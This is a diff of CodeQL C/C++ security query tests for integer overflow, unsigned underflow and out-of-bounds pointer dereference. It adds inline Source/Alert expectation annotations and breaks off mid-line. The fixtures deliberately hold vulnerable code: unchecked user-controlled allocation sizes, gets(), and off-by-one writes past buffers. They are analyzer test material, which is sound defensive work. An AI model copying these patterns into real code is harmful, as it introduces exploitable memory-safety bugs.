b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/TaintedAllocationSize/test.cpp @@ -36,21 +36,21 @@ int getTainted() { return i; } -int main(int argc, char **argv) { +int main(int argc, char **argv) { // $ Source int tainted = atoi(argv[1]); MyStruct *arr1 = (MyStruct *)malloc(sizeof(MyStruct)); // GOOD - MyStruct *arr2 = (MyStruct *)malloc(tainted); // BAD - MyStruct *arr3 = (MyStruct *)malloc(tainted * sizeof(MyStruct)); // BAD + MyStruct *arr2 = (MyStruct *)malloc(tainted); // BAD // $ Alert + MyStruct *arr3 = (MyStruct *)malloc(tainted * sizeof(MyStruct)); // BAD // $ Alert MyStruct *arr4 = (MyStruct *)malloc(getTainted() * sizeof(MyStruct)); // BAD [NOT DETECTED] - MyStruct *arr5 = (MyStruct *)malloc(sizeof(MyStruct) + tainted); // BAD + MyStruct *arr5 = (MyStruct *)malloc(sizeof(MyStruct) + tainted); // BAD // $ Alert int size = tainted * 8; - char *chars1 = (char *)malloc(size); // BAD - char *chars2 = new char[size]; // BAD + char *chars1 = (char *)malloc(size); // BAD // $ Alert + char *chars2 = new char[size]; // BAD // $ Alert char *chars3 = new char[8]; // GOOD - arr1 = (MyStruct *)realloc(arr1, sizeof(MyStruct) * tainted); // BAD + arr1 = (MyStruct *)realloc(arr1, sizeof(MyStruct) * tainted); // BAD // $ Alert size = 8; chars3 = new char[size]; // GOOD @@ -121,18 +121,18 @@ int bounded(int x, int limit) { } void open_file_bounded () { - int size = atoi(getenv("USER")); + int size = atoi(getenv("USER")); // $ Source int bounded_size = bounded(size, MAX_SIZE); int* a = (int*)malloc(bounded_size * sizeof(int)); // GOOD - int* b = (int*)malloc(size * sizeof(int)); // BAD + int* b = (int*)malloc(size * sizeof(int)); // BAD // $ Alert } void more_bounded_tests() { { - int size = atoi(getenv("USER")); + int size = atoi(getenv("USER")); // $ Source - malloc(size * sizeof(int)); // BAD + malloc(size * sizeof(int)); // BAD // $ Alert } { @@ -145,11 +145,11 @@ void more_bounded_tests() { } { - long size = atol(getenv("USER")); + long size = atol(getenv("USER")); // $ Source if (size > 0) { - malloc(size * sizeof(int)); // BAD + malloc(size * sizeof(int)); // BAD // $ Alert } } @@ -187,11 +187,11 @@ void more_bounded_tests() { } { - int size = atoi(getenv("USER")); + int size = atoi(getenv("USER")); // $ Source if (size % 100) { - malloc(size * sizeof(int)); // BAD + malloc(size * sizeof(int)); // BAD // $ Alert } } @@ -202,11 +202,11 @@ void more_bounded_tests() { } { - int size = atoi(getenv("USER")); + int size = atoi(getenv("USER")); // $ Source if (size & 7) { - malloc(size * sizeof(int)); // BAD + malloc(size * sizeof(int)); // BAD // $ Alert } } @@ -238,7 +238,7 @@ size_t get_untainted_size() size_t get_tainted_size() { - return atoi(getenv("USER")) * sizeof(int); + return atoi(getenv("USER")) * sizeof(int); // $ Source } size_t get_bounded_size() @@ -258,27 +258,27 @@ void *my_alloc(size_t s) { } void my_func(size_t s) { - void *ptr = malloc(s); // BAD + void *ptr = malloc(s); // BAD // $ Alert free(ptr); } void more_cases() { - int local_size = atoi(getenv("USER")) * sizeof(int); + int local_size = atoi(getenv("USER")) * sizeof(int); // $ Source - malloc(local_size); // BAD + malloc(local_size); // BAD // $ Alert malloc(get_untainted_size()); // GOOD - malloc(get_tainted_size()); // BAD + malloc(get_tainted_size()); // BAD // $ Alert malloc(get_bounded_size()); // GOOD my_alloc(100); // GOOD - my_alloc(local_size); // BAD + my_alloc(local_size); // BAD // $ Alert my_func(100); // GOOD my_func(local_size); // GOOD } bool get_size(int &out_size) { - out_size = atoi(getenv("USER")); + out_size = atoi(getenv("USER")); // $ Source return true; } @@ -286,11 +286,11 @@ bool get_size(int &out_size) { void equality_cases() { { int size1 = atoi(getenv("USER")); - int size2 = atoi(getenv("USER")); + int size2 = atoi(getenv("USER")); // $ Source if (size1 == 100) { - malloc(size2 * sizeof(int)); // BAD + malloc(size2 * sizeof(int)); // BAD // $ Alert } if (size2 == 100) { @@ -318,7 +318,7 @@ void equality_cases() { if ((get_size(size)) && (size != 100)) { - malloc(size * sizeof(int)); // BAD + malloc(size * sizeof(int)); // BAD // $ Alert } } { @@ -335,7 +335,7 @@ void equality_cases() { if ((!get_size(size)) || (size == 100)) return; - malloc(size * sizeof(int)); // BAD + malloc(size * sizeof(int)); // BAD // $ Alert } { int size = atoi(getenv("USER")); @@ -380,8 +380,8 @@ void *MyMalloc2(size_t size); void customAllocatorTests() { - int size = atoi(getenv("USER")); + int size = atoi(getenv("USER")); // $ Source - char *chars1 = (char *)MyMalloc1(size); // BAD - char *chars2 = (char *)MyMalloc2(size); // BAD + char *chars1 = (char *)MyMalloc1(size); // BAD // $ Alert + char *chars2 = (char *)MyMalloc2(size); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/ArithmeticTainted.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/ArithmeticTainted.qlref index 3939653db1c3..d8fb26f7e023 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/ArithmeticTainted.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/ArithmeticTainted.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/ArithmeticTainted.ql +query: Security/CWE/CWE-190/ArithmeticTainted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/IntegerOverflowTainted.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/IntegerOverflowTainted.qlref index df42008c632b..419ed80f3b9e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/IntegerOverflowTainted.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/IntegerOverflowTainted.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-190/IntegerOverflowTainted.ql +query: Security/CWE/CWE-190/IntegerOverflowTainted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/main.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/main.cpp index 645b5893deaa..2a91b61f5fab 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/main.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/main.cpp @@ -4,7 +4,7 @@ int main3(int argc, char** argv); } int main4(int argc, char** argv); -int main(int argc, char** argv) { +int main(int argc, char** argv) { // $ Source[cpp/tainted-arithmetic] main1(argc, argv); main3(argc, argv); main4(argc, argv); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test.c index b39e54084ac3..cd42710fa1e5 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test.c @@ -11,7 +11,7 @@ int main1(int argc, char** argv) { int maxConnections = atoi(argv[1]); // BAD: arithmetic on a user input without any validation - startServer(maxConnections * 1000); + startServer(maxConnections * 1000); // $ Alert[cpp/integer-overflow-tainted] Alert[cpp/tainted-arithmetic] // GOOD: check the user input first int maxConnections2 = atoi(argv[1]); @@ -41,7 +41,7 @@ int main1(int argc, char** argv) { len2 = atoi(argv[1]); while (len2) { - len2--; // BAD: can underflow, if len2 is initially negative. + len2--; // BAD: can underflow, if len2 is initially negative. // $ Alert[cpp/integer-overflow-tainted] Alert[cpp/tainted-arithmetic] } } @@ -51,7 +51,7 @@ int main1(int argc, char** argv) { len3 = atoi(argv[1]); while (len3 != 0) { - len3--; // BAD: can underflow, if len3 is initially negative. + len3--; // BAD: can underflow, if len3 is initially negative. // $ Alert[cpp/integer-overflow-tainted] Alert[cpp/tainted-arithmetic] } } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test2.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test2.cpp index 1cf12a197f4d..b656c39a0ca0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test2.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test2.cpp @@ -11,10 +11,10 @@ typedef struct _myStruct { void test2_sink(s64 v, MyStruct s, MyStruct &s_r, MyStruct *s_p) { - s64 v1 = v * 2; // bad - s64 v2 = s.val * 2; // bad - s64 v3 = s_r.val * 2; // bad - s64 v4 = s_p->val * 2; // bad + s64 v1 = v * 2; // bad // $ Alert[cpp/integer-overflow-tainted] Alert[cpp/tainted-arithmetic] + s64 v2 = s.val * 2; // bad // $ Alert[cpp/integer-overflow-tainted] + s64 v3 = s_r.val * 2; // bad // $ Alert[cpp/integer-overflow-tainted] + s64 v4 = s_p->val * 2; // bad // $ Alert[cpp/integer-overflow-tainted] } void test2_source() @@ -22,7 +22,7 @@ void test2_source() MyStruct ms; s64 v; - fscanf(stdin, "%i", &v); + fscanf(stdin, "%i", &v); // $ Source[cpp/tainted-arithmetic] ms.val = v; test2_sink(v, ms, ms, &ms); } @@ -33,9 +33,9 @@ int atoi(const char *); void test3() { char buffer[20]; - fgets(buffer, 20, stdin); + fgets(buffer, 20, stdin); // $ Source[cpp/tainted-arithmetic] int num = atoi(buffer); - num = num + 1000; // BAD - num += 1000; // BAD + num = num + 1000; // BAD // $ Alert[cpp/integer-overflow-tainted] Alert[cpp/tainted-arithmetic] + num += 1000; // BAD // $ Alert[cpp/integer-overflow-tainted] Alert[cpp/tainted-arithmetic] } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test3.c b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test3.c index a8116e058530..f24b640810de 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test3.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test3.c @@ -9,8 +9,8 @@ // from a macro that is defined in a system header. int main3(int argc, char **argv) { char *cmd = argv[0]; - int x = (int)(unsigned char)*cmd; // BAD: overflow - int y = CAST(*cmd); // BAD: overflow in macro expansion (macro is not from a system header) + int x = (int)(unsigned char)*cmd; // BAD: overflow // $ Alert[cpp/integer-overflow-tainted] + int y = CAST(*cmd); // BAD: overflow in macro expansion (macro is not from a system header) // $ Alert[cpp/integer-overflow-tainted] int z = SYSTEM_CAST(*cmd); // GOOD: overflow in macro expansion (macro from a system header) return x + y + z; } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test4.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test4.cpp index ad4cc80d30ac..c298e431e946 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test4.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test4.cpp @@ -10,7 +10,7 @@ int main4(int argc, char **argv) { if (!p[0]) { // GOOD: cast to bool. return 1; } - if ((unsigned)p[1] == 0) { // BAD: cast to unsigned could overflow. + if ((unsigned)p[1] == 0) { // BAD: cast to unsigned could overflow. // $ Alert[cpp/integer-overflow-tainted] return 2; } if ((bool)p[2] != 0 || !p[3] == 1) { // GOOD: casts to bool. diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test5.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test5.cpp index 2ee675be6b57..27b4a652e35b 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test5.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test5.cpp @@ -6,17 +6,17 @@ int getTaintedInt() { char buf[128]; - gets(buf); - return strtoul(buf, 0, 10); + gets(buf); // $ Source[cpp/tainted-arithmetic] + return strtoul(buf, 0, 10); // $ Alert[cpp/integer-overflow-tainted] } void useTaintedInt() { int x, y; - x = getTaintedInt() * 1024; // BAD: arithmetic on a tainted value + x = getTaintedInt() * 1024; // BAD: arithmetic on a tainted value // $ Alert[cpp/integer-overflow-tainted] Alert[cpp/tainted-arithmetic] y = getTaintedInt(); - y = y * 1024; // BAD: arithmetic on a tainted value + y = y * 1024; // BAD: arithmetic on a tainted value // $ Alert[cpp/integer-overflow-tainted] Alert[cpp/tainted-arithmetic] } typedef long long int intmax_t; diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test6.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test6.cpp index c7034e6cd0ea..596e5030baed 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test6.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-190/semmle/tainted/test6.cpp @@ -8,12 +8,12 @@ FILE *stdin; void docast1(u32 s) { - u16 c = (u16)s; // bad + u16 c = (u16)s; // bad // $ Alert[cpp/integer-overflow-tainted] } void docast2(u32 s) { - u16 c = (u16)s; // bad + u16 c = (u16)s; // bad // $ Alert[cpp/integer-overflow-tainted] } class MyBaseClass @@ -27,7 +27,7 @@ class MyDerivedClass : public MyBaseClass public: void docast(u32 s) { - u16 c = (u16)s; // bad + u16 c = (u16)s; // bad // $ Alert[cpp/integer-overflow-tainted] } }; diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero/UnsignedDifferenceExpressionComparedZero.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero/UnsignedDifferenceExpressionComparedZero.qlref index 9681978c0ad1..ebdee8ed6310 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero/UnsignedDifferenceExpressionComparedZero.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero/UnsignedDifferenceExpressionComparedZero.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero.ql +query: Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero/test.cpp index 37930f821291..c143bb62cdea 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-191/UnsignedDifferenceExpressionComparedZero/test.cpp @@ -3,11 +3,11 @@ int getAnInt(); bool cond(); void test(unsigned x, unsigned y, bool unknown) { - if(x - y > 0) { } // BAD + if(x - y > 0) { } // BAD // $ Alert unsigned total = getAnInt(); unsigned limit = getAnInt(); - while(limit - total > 0) { // BAD + while(limit - total > 0) { // BAD // $ Alert total += getAnInt(); } @@ -59,7 +59,7 @@ void test(unsigned x, unsigned y, bool unknown) { if(unknown) { ++y; } } - if(x - y > 0) { } // GOOD [FALSE POSITIVE] + if(x - y > 0) { } // GOOD [FALSE POSITIVE] // $ Alert x = y; while(cond()) { @@ -72,7 +72,7 @@ void test(unsigned x, unsigned y, bool unknown) { if (n > x - y) { n = x - y; } if (n > 0) { y += n; // NOTE: `n` is at most `x - y` at this point. - if (x - y > 0) {} // GOOD [FALSE POSITIVE] + if (x - y > 0) {} // GOOD [FALSE POSITIVE] // $ Alert } } @@ -98,7 +98,7 @@ void test4() { unsigned int a = getAnInt(); unsigned int b = a + 1; - if (a - b > 0) { // BAD + if (a - b > 0) { // BAD // $ Alert // ... } } @@ -125,7 +125,7 @@ void test7() { unsigned int b = getAnInt(); unsigned int a = b - 1; - if (a - b > 0) { // BAD + if (a - b > 0) { // BAD // $ Alert // ... } } @@ -134,7 +134,7 @@ void test8() { unsigned int a = getAnInt(); unsigned int b = getAnInt(); - if (a - b > 0) { // BAD + if (a - b > 0) { // BAD // $ Alert // ... } @@ -143,13 +143,13 @@ void test8() { // ... } } else { - if (a - b > 0) { // BAD + if (a - b > 0) { // BAD // $ Alert // ... } } if (b >= a) { // GOOD - if (a - b > 0) { // BAD + if (a - b > 0) { // BAD // $ Alert // ... } } else { @@ -179,7 +179,7 @@ void test9() { b = 0; } - if (a - b > 0) { // GOOD (as a >= b) [FALSE POSITIVE] + if (a - b > 0) { // GOOD (as a >= b) [FALSE POSITIVE] // $ Alert // ... } } @@ -205,7 +205,7 @@ void test11() { b = getAnInt(); - if (a - b > 0) { // BAD + if (a - b > 0) { // BAD // $ Alert // ... } } @@ -249,7 +249,7 @@ int test14() { return 0; } // b != 0 - return (a - b > 0); // BAD + return (a - b > 0); // BAD // $ Alert } struct Numbers @@ -263,7 +263,7 @@ int test15(Numbers *n) { return 0; } - return (n->a - n->b > 0); // BAD + return (n->a - n->b > 0); // BAD // $ Alert } int test16() { @@ -273,7 +273,7 @@ int test16() { if (!b) { return 0; } else { - return (a - b > 0); // BAD + return (a - b > 0); // BAD // $ Alert } } @@ -285,7 +285,7 @@ int test17() { return 0; } // b != 0 - return (a - b > 0); // BAD + return (a - b > 0); // BAD // $ Alert } int test18() { @@ -309,7 +309,7 @@ void test19() { uint32_t limit = get_limit(); uint32_t total = 0; - while (limit - total > 0) { // BAD: if `total` is greater than `limit` this will underflow and continue executing the loop. + while (limit - total > 0) { // BAD: if `total` is greater than `limit` this will underflow and continue executing the loop. // $ Alert total += get_data(); } @@ -359,7 +359,7 @@ void test21(unsigned long a) if(a - b > 0) { } // GOOD } int64_t b = (int64_t)a + c; - if(a - b > 0) { } // BAD + if(a - b > 0) { } // BAD // $ Alert } { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-193/InvalidPointerDeref.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-193/InvalidPointerDeref.qlref index b899b6eeb205..d252615f6827 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-193/InvalidPointerDeref.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-193/InvalidPointerDeref.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-193/InvalidPointerDeref.ql +query: Security/CWE/CWE-193/InvalidPointerDeref.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-193/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-193/test.cpp index db1017e233fe..f26d67738223 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-193/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-193/test.cpp @@ -1,11 +1,11 @@ using size_t = decltype(sizeof 0); void* malloc(size_t size); void test1(int size) { - char* p = (char*)malloc(size); + char* p = (char*)malloc(size); // $ Source[cpp/invalid-pointer-deref]=r1 Source[cpp/invalid-pointer-deref]=r2 char* q = p + size; // $ alloc=L4 - char a = *q; // $ deref=L5->L6 // BAD + char a = *q; // $ deref=L5->L6 Alert[cpp/invalid-pointer-deref]=r1 // BAD char b = *(q - 1); // GOOD - char c = *(q + 1); // $ deref=L5->L8+1 // BAD + char c = *(q + 1); // $ deref=L5->L8+1 Alert[cpp/invalid-pointer-deref]=r2 // BAD char d = *(q + size); // BAD [NOT DETECTED] char e = *(q - size); // GOOD char f = *(q + size + 1); // BAD [NOT DETECTED] @@ -13,11 +13,11 @@ void test1(int size) { } void test2(int size) { - char* p = (char*)malloc(size); + char* p = (char*)malloc(size); // $ Source[cpp/invalid-pointer-deref]=r3 char* q = p + size - 1; // $ alloc=L16 char a = *q; // GOOD char b = *(q - 1); // GOOD - char c = *(q + 1); // $ deref=L17->L20 // BAD + char c = *(q + 1); // $ deref=L17->L20 Alert[cpp/invalid-pointer-deref]=r3 // BAD char d = *(q + size); // BAD [NOT DETECTED] char e = *(q - size); // GOOD char f = *(q + size + 1); // BAD [NOT DETECTED] @@ -25,11 +25,11 @@ void test2(int size) { } void test3(int size) { - char* p = (char*)malloc(size + 1); + char* p = (char*)malloc(size + 1); // $ Source[cpp/invalid-pointer-deref]=r4 Source[cpp/invalid-pointer-deref]=r5 char* q = p + (size + 1); // $ alloc=L28+1 - char a = *q; // $ deref=L29->L30 // BAD + char a = *q; // $ deref=L29->L30 Alert[cpp/invalid-pointer-deref]=r4 // BAD char b = *(q - 1); // GOOD - char c = *(q + 1); // $ deref=L29->L32+1 // BAD + char c = *(q + 1); // $ deref=L29->L32+1 Alert[cpp/invalid-pointer-deref]=r5 // BAD char d = *(q + size); // BAD [NOT DETECTED] char e = *(q - size); // GOOD char f = *(q + size + 1); // BAD [NOT DETECTED] @@ -49,7 +49,7 @@ void test4(int size) { } char* mk_array(int size, char** end) { - char* begin = (char*)malloc(size); + char* begin = (char*)malloc(size); // $ Source[cpp/invalid-pointer-deref]=r6 *end = begin + size; // $ alloc=L52 return begin; @@ -64,7 +64,7 @@ void test5(int size) { } for (char* p = begin; p <= end; ++p) { - *p = 0; // $ deref=L53->L62->L67 deref=L53->L66->L67 // BAD + *p = 0; // $ deref=L53->L62->L67 deref=L53->L66->L67 Alert[cpp/invalid-pointer-deref]=r6 // BAD } for (char* p = begin; p < end; ++p) { @@ -202,7 +202,7 @@ void test12(unsigned len, unsigned index) { } void test13(unsigned len, unsigned index) { - char* p = (char *)malloc(len); + char* p = (char *)malloc(len); // $ Source[cpp/invalid-pointer-deref]=r7 char* end = p + len; // $ alloc=L205 char* q = p + index; @@ -210,7 +210,7 @@ void test13(unsigned len, unsigned index) { return; } - *q = '\0'; // $ deref=L206->L213 // BAD + *q = '\0'; // $ deref=L206->L213 Alert[cpp/invalid-pointer-deref]=r7 // BAD } bool unknown(); @@ -257,21 +257,21 @@ void test17(unsigned *p, unsigned x, unsigned k) { void test17(unsigned len) { - int *xs = new int[len]; + int *xs = new int[len]; // $ Source[cpp/invalid-pointer-deref]=r8 int *end = xs + len; // $ alloc=L260 for (int *x = xs; x <= end; x++) { - int i = *x; // $ deref=L261->L264 // BAD + int i = *x; // $ deref=L261->L264 Alert[cpp/invalid-pointer-deref]=r8 // BAD } } void test18(unsigned len) { - int *xs = new int[len]; + int *xs = new int[len]; // $ Source[cpp/invalid-pointer-deref]=r9 int *end = xs + len; // $ alloc=L270 for (int *x = xs; x <= end; x++) { - *x = 0; // $ deref=L271->L274 // BAD + *x = 0; // $ deref=L271->L274 Alert[cpp/invalid-pointer-deref]=r9 // BAD } } @@ -352,11 +352,11 @@ void test24(unsigned size) { } void test25(unsigned size) { - char *xs = new char[size]; + char *xs = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r10 Source[cpp/invalid-pointer-deref]=r11 char *end = xs + size; // $ alloc=L355 char *end_plus_one = end + 1; - int val1 = *end_plus_one; // $ deref=L356->L358+1 // BAD - int val2 = *(end_plus_one + 1); // $ deref=L356->L359+2 // BAD + int val1 = *end_plus_one; // $ deref=L356->L358+1 Alert[cpp/invalid-pointer-deref]=r10 // BAD + int val2 = *(end_plus_one + 1); // $ deref=L356->L359+2 Alert[cpp/invalid-pointer-deref]=r11 // BAD } void test26(unsigned size) { @@ -374,14 +374,14 @@ void test26(unsigned size) { } void test27(unsigned size, bool b) { - char *xs = new char[size]; + char *xs = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r12 char *end = xs + size; // $ alloc=L377 if (b) { end++; } - int val = *end; // $ deref=L378->L384+1 // BAD + int val = *end; // $ deref=L378->L384+1 Alert[cpp/invalid-pointer-deref]=r12 // BAD } void test28(unsigned size) { @@ -407,47 +407,47 @@ void test28_simple(unsigned size) { } void test28_simple2(unsigned size) { - char *xs = new char[size]; + char *xs = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r13 char *end = &xs[size]; // $ alloc=L410 if (xs < end) { xs++; if (xs < end + 1) { - xs[0] = 0; // $ deref=L411->L415 // BAD + xs[0] = 0; // $ deref=L411->L415 Alert[cpp/invalid-pointer-deref]=r13 // BAD } } } void test28_simple3(unsigned size) { - char *xs = new char[size]; + char *xs = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r14 char *end = &xs[size]; // $ alloc=L421 if (xs < end) { xs++; if (xs - 1 < end) { - xs[0] = 0; // $ deref=L422->L426 // BAD + xs[0] = 0; // $ deref=L422->L426 Alert[cpp/invalid-pointer-deref]=r14 // BAD } } } void test28_simple4(unsigned size) { - char *xs = new char[size]; + char *xs = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r15 char *end = &xs[size]; // $ alloc=L432 if (xs < end) { end++; xs++; if (xs < end) { - xs[0] = 0; // $ deref=L433->L438 // BAD + xs[0] = 0; // $ deref=L433->L438 Alert[cpp/invalid-pointer-deref]=r15 // BAD } } } void test28_simple5(unsigned size) { - char *xs = new char[size]; + char *xs = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r16 char *end = &xs[size]; // $ alloc=L444 end++; if (xs < end) { xs++; if (xs < end) { - xs[0] = 0; // $ deref=L445->L450 // BAD + xs[0] = 0; // $ deref=L445->L450 Alert[cpp/invalid-pointer-deref]=r16 // BAD } } } @@ -477,13 +477,13 @@ void test28_simple7(unsigned size) { } void test28_simple8(unsigned size) { - char *xs = new char[size]; + char *xs = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r17 char *end = &xs[size]; // $ alloc=L480 end += 500; if (xs < end) { xs++; if (xs < end - 1) { - xs[0] = 0; // $ deref=L481->L486+498 // BAD + xs[0] = 0; // $ deref=L481->L486+498 Alert[cpp/invalid-pointer-deref]=r17 // BAD } } } @@ -540,23 +540,23 @@ void test31_simple1(unsigned size, unsigned src_pos) void test31_simple2(unsigned size, unsigned src_pos) { - char *xs = new char[size]; + char *xs = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r18 if (src_pos > size) { src_pos = size; } if (src_pos < size + 1) { - xs[src_pos] = 0; // $ alloc=L543 deref=L548 // BAD + xs[src_pos] = 0; // $ alloc=L543 deref=L548 Alert[cpp/invalid-pointer-deref]=r18 // BAD } } void test31_simple3(unsigned size, unsigned src_pos) { - char *xs = new char[size]; + char *xs = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r19 if (src_pos > size) { src_pos = size; } if (src_pos - 1 < size) { - xs[src_pos] = 0; // $ alloc=L554 deref=L559 // BAD + xs[src_pos] = 0; // $ alloc=L554 deref=L559 Alert[cpp/invalid-pointer-deref]=r19 // BAD } } @@ -639,12 +639,12 @@ void test31_simple5_plus1(unsigned size, unsigned src_pos) void test31_simple1_sub1(unsigned size, unsigned src_pos) { - char *xs = new char[size - 1]; + char *xs = new char[size - 1]; // $ Source[cpp/invalid-pointer-deref]=r20 if (src_pos > size) { src_pos = size; } if (src_pos < size) { - xs[src_pos] = 0; // $ alloc=L642-1 deref=L647 // BAD + xs[src_pos] = 0; // $ alloc=L642-1 deref=L647 Alert[cpp/invalid-pointer-deref]=r20 // BAD } } @@ -727,10 +727,10 @@ void test21_simple(bool b) { } void test36(unsigned size, unsigned n) { - int* p = new int[size + 2]; + int* p = new int[size + 2]; // $ Source[cpp/invalid-pointer-deref]=r21 if(n < size + 1) { int* end = p + (n + 2); // $ alloc=L730+2 - *end = 0; // $ deref=L732->L733 // BAD + *end = 0; // $ deref=L732->L733 Alert[cpp/invalid-pointer-deref]=r21 // BAD } } @@ -751,7 +751,7 @@ void error(const char * msg) { } void test38(unsigned size) { - char * alloc = new char[size]; + char * alloc = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r22 Source[cpp/invalid-pointer-deref]=r23 Source[cpp/invalid-pointer-deref]=r24 Source[cpp/invalid-pointer-deref]=r25 unsigned pos = 0; while (pos < size) { @@ -764,12 +764,12 @@ void test38(unsigned size) { case '0': if (n != 1) error(""); - char x = alloc[pos + 1]; // $ alloc=L754 deref=L767 // GOOD [FALSE POSITIVE] + char x = alloc[pos + 1]; // $ alloc=L754 deref=L767 Alert[cpp/invalid-pointer-deref]=r22 Alert[cpp/invalid-pointer-deref]=r23 // GOOD [FALSE POSITIVE] break; case '1': if (n != 2) error(""); - char a = alloc[pos + 1]; // $ alloc=L754 deref=L772 // GOOD [FALSE POSITIVE] + char a = alloc[pos + 1]; // $ alloc=L754 deref=L772 Alert[cpp/invalid-pointer-deref]=r24 Alert[cpp/invalid-pointer-deref]=r25 // GOOD [FALSE POSITIVE] char b = alloc[pos + 2]; break; } @@ -778,19 +778,19 @@ void test38(unsigned size) { } void test38_simple(unsigned size, unsigned pos, unsigned numParams) { - char * p = new char[size]; + char * p = new char[size]; // $ Source[cpp/invalid-pointer-deref]=r26 if (pos < size) { if (pos + numParams < size) { if (numParams == 1) { - char x = p[pos + 1]; // $ alloc=L781 deref=L786 // GOOD [FALSE POSITIVE] + char x = p[pos + 1]; // $ alloc=L781 deref=L786 Alert[cpp/invalid-pointer-deref]=r26 // GOOD [FALSE POSITIVE] } } } } void mk_array_no_field_flow(int size, char** begin, char** end) { - *begin = (char*)malloc(size); + *begin = (char*)malloc(size); // $ Source[cpp/invalid-pointer-deref]=r27 Source[cpp/invalid-pointer-deref]=r28 *end = *begin + size; // $ alloc=L793 } @@ -804,7 +804,7 @@ void test6_no_field_flow(int size) { } for (char* p = begin; p <= end; ++p) { - *p = 0; // $ deref=L794->L802->L807 deref=L794->L806->L807 // BAD + *p = 0; // $ deref=L794->L802->L807 deref=L794->L806->L807 Alert[cpp/invalid-pointer-deref]=r27 // BAD } for (char* p = begin; p < end; ++p) { @@ -818,7 +818,7 @@ void test7_callee_no_field_flow(char* begin, char* end) { } for (char* p = begin; p <= end; ++p) { - *p = 0; // $ 